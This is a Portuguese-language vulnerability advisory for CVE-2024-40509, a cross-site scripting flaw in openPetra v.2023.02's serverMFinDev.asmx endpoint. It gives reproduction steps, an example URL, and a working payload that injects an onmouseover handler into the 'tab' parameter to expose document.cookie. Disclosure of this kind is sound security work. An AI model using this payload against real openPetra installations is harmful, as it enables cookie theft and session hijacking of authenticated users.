CVE-2024-40509

Vulnerabilidade de Cross Site Scripting em openPetra v.2023.02 através da função serverMFinDev.asmx.

Descrição: Um usuário não autenticado pode roubar cookies de um usuário autenticado, explorando um XSS em openPetra v.2023.02 através da função serverMFinDev.asmx.

Versão do Produto Vulnerável: openPetra v.2023.02
Autor do CVE: Jansen Moreira Data: 13/07/2024
CVE: CVE-2024-40509
Link CVE: https://www.cve.org/CVERecord?id=CVE-2024-40509
Link NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-40509
Link Tenable: https://www.tenable.com/cve/CVE-2024-40509
Confirmado em: 13/07/2024
Testado em: Linux

Passos para reproduzir:

1- Acesse a página inicial
2- Use o seguinte caminho e adicione o payload XSS no parâmetro tab. EX.: http://target.com/api/serverMFinDev.asmx?bnd=TMFinDevWebServiceSoap&op=TFinDevWebConnector_Dummy&page=op&tab=x"
3- Passe o mouse sobre o item do índice à esquerda para acionar o XSS

Payloads: tab: x" onmouseover=alert(document.cookie) x="